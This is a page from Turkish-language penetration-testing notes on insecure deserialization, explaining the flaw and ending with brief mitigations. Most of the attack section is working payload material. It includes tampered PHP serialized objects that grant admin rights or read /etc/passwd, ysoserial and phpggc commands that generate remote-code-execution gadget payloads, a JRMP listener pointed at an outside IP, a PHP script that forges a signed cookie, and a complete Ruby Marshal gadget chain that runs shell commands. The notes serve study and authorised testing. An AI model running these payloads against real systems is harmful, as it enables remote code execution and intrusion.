🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • Insecure Deserialization
  • Saldırı Yöntemleri
  • Veri Değerlerini Değiştirme
  • Veri Tipini Değiştirme
  • Dosya Okuma
  • Object Injection
  • Java Deserialization
  • PHP Deserialization
  • Ruby Deserialization
  • Önlemler
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

Insecure Deserialization

PreviousLFI/RFINextCORS Misconfiguration

Last updated 16 days ago

Was this helpful?

Insecure Deserialization

  • Serialization, bir nesnenin bellekteki durumunun (Örneğin Java nesnesi) dosya, veri tabanı ya da ağ üzerinden iletilebilecek veya saklanabilecek bir formata (genellikle JSON, XML, binary vb.) dönüştürülmesidir.

  • Deserialization ise bu işlemin tersidir, yani bu formatta gelen verinin tekrar orijinal nesne haline getirilmesidir.

  • Insecure deserialization ise bir uygulamanın dış kaynaklardan gelen serileştirilmiş veriyi doğrulamadan veya güvenlik kontrolleri olmadan işlemesi sonucu oluşan bir güvenlik açığıdır.

  • Bu durum, saldırganların özel olarak hazırlanmış zararlı veri göndererek uygulamanın beklenmeyen davranışlar sergilemesine, sistemde yetkisiz işlemler yapmasına veya uzaktan kod çalıştırmasına yol açabilir.

  • Özellikle Java, PHP, Python gibi dillerde bu risk yaygındır.

Saldırı Yöntemleri

Veri Değerlerini Değiştirme

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

Veri Tipini Değiştirme

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"q56idwg2i18xkqp57f2qme64va8hd9pj";}
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

Dosya Okuma

O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:19:"users/wiener/avatar";}
O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:11:"/etc/passwd";}

Object Injection

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lfkxpxd545wnk0fnhmnscqajliql7gcl";}
O:11:"CustomClass":1:{s:14:"lock_file_path";s:11:"/etc/passwd";}

Java Deserialization

java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsCollections4 'whoami' | base64 -w 0
./java -jar ysoserial-all.jar "JRMPClient" "10.100.13.200:80" | base64 -w 0

./java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections1 "ping -c 3 10.100.13.200"
tcpdump -i tap0 icmp

PHP Deserialization

phpggc Symfony/RCE4 exec 'whoami' | base64 -w 0
<?php
$object = "<PAYLOAD>";
$secretKey = "<PHPINFO_SECRETKEY>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>

Ruby Deserialization

gem install rails
gem install sprockets
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0  , :data => "<%= `whoami` %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
		# because it autoloads Gem::Package which is
		# required in rest of the chain
                [Gem::Installer.allocate,$a] 
            end
        end
    end
end

final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final)).gsub("\n", "")

Önlemler

  • Genel olarak konuşmak gerekirse, kesinlikle gerekli olmadıkça kullanıcı girdisinin deserializasyonundan kaçınılmalıdır.

  • Güvenilmeyen kaynaklardan gelen verileri yeniden derlemeniz gerekiyorsa, verilerin kurcalanmadığından emin olmak için sağlam önlemler alın. Örneğin, verilerin bütünlüğünü kontrol etmek için bir dijital imza uygulayabilirsiniz. Bununla birlikte, tüm kontrollerin deserializasyon işlemine başlamadan önce gerçekleştirilmesi gerektiğini unutmayın.

  • Mümkünse, genel serileştirme özelliklerini kullanmaktan tamamen kaçınmalısınız. Bu yöntemlerle serileştirilen veriler, potansiyel olarak hassas bilgiler içeren özel alanlar da dahil olmak üzere orijinal nesnenin tüm niteliklerini içerir. Bunun yerine, en azından hangi alanların açığa çıkacağını kontrol edebilmek için kendi sınıfa özgü serileştirme yöntemlerinizi oluşturabilirsiniz.

Kaynaklar

YsoSerial:

Portswigger Academy:

🕸️
https://github.com/frohoff/ysoserial
https://portswigger.net/web-security/deserialization